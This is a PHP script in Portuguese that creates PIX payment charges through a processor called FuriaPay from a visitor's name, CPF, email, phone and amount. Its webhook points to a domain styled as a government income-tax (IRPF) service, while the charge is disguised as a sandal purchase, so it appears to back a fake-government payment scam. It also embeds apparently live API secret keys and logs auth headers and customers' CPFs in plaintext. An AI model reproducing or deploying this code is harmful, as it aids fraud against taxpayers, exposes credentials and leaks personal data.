<?php
// ATIVA ERROS (desativar em produção)
ini_set('display_errors', 1);
error_reporting(E_ALL);

// HEADERS
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json");
header("Access-Control-Allow-Methods: POST");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With");

// FUNÇÃO DE LOG
function logMessage($message) {
    $timestamp = date('Y-m-d H:i:s');
    file_put_contents("log.txt", "[$timestamp] $message\n", FILE_APPEND);
}

// CHAVE API
$secretKey = 'sk_live_iDRIfjhoBxYdQ1HcpHzvzkhCmqoIKPUA';
$publicKey = 'furiapay_live_Sit9ioLzdLtW9n4rAEN6gt1OvqjF0bdc';
$authBasic = base64_encode($publicKey . ':' . $secretKey);
logMessage("Auth Basic gerado: " . $authBasic);

logMessage("=== NOVA REQUISIÇÃO ===");
logMessage("Método: " . $_SERVER['REQUEST_METHOD']);
logMessage("Query String: " . ($_SERVER['QUERY_STRING'] ?? 'vazio'));

if (isset($_GET['act']) && $_GET['act'] === 'new') {
    logMessage("Ação: new - Iniciando processo de geração de PIX");

    $input = file_get_contents("php://input");
    logMessage("Dados recebidos (raw): " . $input);

    $data = json_decode($input, true);
    // Defaults para evitar 'Undefined index' e permitir payload mínimo
    if (is_array($data)) {
        $data['name'] = $data['name'] ?? '';
        $data['email'] = $data['email'] ?? '';
        $data['cpf'] = $data['cpf'] ?? '';
        $data['telefone'] = $data['telefone'] ?? '';
        $data['valor'] = $data['valor'] ?? null;
    }
    logMessage("Dados decodificados: " . json_encode($data));

    if (!$data || !isset($data["valor"])) {
        logMessage("ERRO: Dados inválidos ou valor ausente");
        echo json_encode(["error" => "Dados inválidos ou ausentes."]);
        exit;
    }

    logMessage("Validação OK - Dados presentes");

    // Sanitização
    $cpf = preg_replace('/\D/', '', $data["cpf"]);
    $telefone = preg_replace('/\D/', '', $data["telefone"]);
    $valor = (int) $data["valor"];

    logMessage("Dados sanitizados - CPF: $cpf, Telefone: $telefone, Valor: $valor");

    // Payload conforme documentação FuriaPay
    $payload = json_encode([
        "amount" => $valor,
        "payment_method" => "pix",
        "postback_url" => "https://consultagov.info/rct-irpf/pagamento/webhook.php",
        "customer" => [
            "name" => $data["name"],
            "email" => $data["email"],
            "document" => [
                "type" => "cpf",
                "number" => $cpf
            ],
            "phone" => $telefone
        ],
        "items" => [[
            "title" => "Chinelo Adidas",
            "unit_price" => $valor,
            "quantity" => 1,
            "tangible" => false
        ]],
        "shipping" => [
            "fee" => 0,
            "address" => [
                "street" => "Av. Paulista",
                "street_number" => "1000",
                "complement" => "",
                "zip_code" => "01310100",
                "neighborhood" => "Bela Vista",
                "city" => "São Paulo",
                "state" => "SP",
                "country" => "BR"
            ]
        ],
        "pix" => [
            "expires_in_days" => 5
        ],
        "metadata" => [
            "provider_name" => "RCT-IRPF"
        ]
    ]);

    logMessage("Payload preparado: " . $payload);

    // Envia cURL
    logMessage("Iniciando requisição para API FuriaPay...");

    $headers = [
        'Accept: application/json',
        'Content-Type: application/json',
        'Authorization: Basic ' . $authBasic
    ];

    logMessage("=== HEADERS ENVIADOS ===");
    foreach ($headers as $h) {
        logMessage("Header: " . $h);
    }
    logMessage("=== FIM HEADERS ===");

    $curl = curl_init();
    curl_setopt_array($curl, [
        CURLOPT_URL => 'https://api.furiapaybr.app/v1/payment-transaction/create',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_CUSTOMREQUEST => 'POST',
        CURLOPT_POSTFIELDS => $payload,
        CURLOPT_HTTPHEADER => $headers,
        CURLOPT_VERBOSE => true,
    ]);

    $response = curl_exec($curl);
    $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
    $curlInfo = curl_getinfo($curl);

    logMessage("=== RESPOSTA CURL ===");
    logMessage("HTTP Code: $httpCode");
    logMessage("URL Final: " . $curlInfo['url']);
    logMessage("Content-Type Resposta: " . ($curlInfo['content_type'] ?? 'N/A'));
    logMessage("Total Time: " . $curlInfo['total_time'] . "s");

    if (curl_errno($curl)) {
        $error = curl_error($curl);
        logMessage("ERRO CURL: " . $error);
        echo json_encode(["error" => "Erro de conexão com o servidor: $error"]);
        curl_close($curl);
        exit;
    }

    curl_close($curl);

    logMessage("Resposta completa da API: " . $response);
    $responseData = json_decode($response, true);

    if (json_last_error() !== JSON_ERROR_NONE) {
        logMessage("ERRO ao decodificar JSON: " . json_last_error_msg());
    }

    // Extrai PIX code da resposta (FuriaPay usa data.pix.qr_code)
    $pixCode = $responseData['data']['pix']['qr_code'] ?? $responseData['pix']['qr_code'] ?? null;
    $orderId = $responseData['data']['id'] ?? $responseData['id'] ?? null;

    logMessage("PIX Code extraído: " . ($pixCode ? "SIM (tamanho: " . strlen($pixCode) . ")" : "NÃO ENCONTRADO"));
    logMessage("Order ID extraído: " . ($orderId ? $orderId : "NÃO ENCONTRADO"));

    if (($httpCode == 200 || $httpCode == 201) && $pixCode) {
        logMessage("SUCESSO - Retornando PIX para o frontend");
        echo json_encode([
            "pixQrCode" => $pixCode,
            "pixCode" => $pixCode,
            "orderId" => $orderId
        ]);
    } else {
        $errorMsg = $responseData['error'] ?? $responseData['message'] ?? "Erro ao gerar cobrança.";
        logMessage("ERRO ao gerar PIX: " . $errorMsg);
        logMessage("Detalhes do erro: " . json_encode($responseData));
        echo json_encode([
            "error" => $errorMsg,
            "detalhes" => $responseData
        ]);
    }
    exit;
}

logMessage("Nenhuma ação válida detectada. Act = " . ($_GET['act'] ?? 'não definido'));

echo json_encode(["error" => "Ação inválida. Use ?act=new"]);
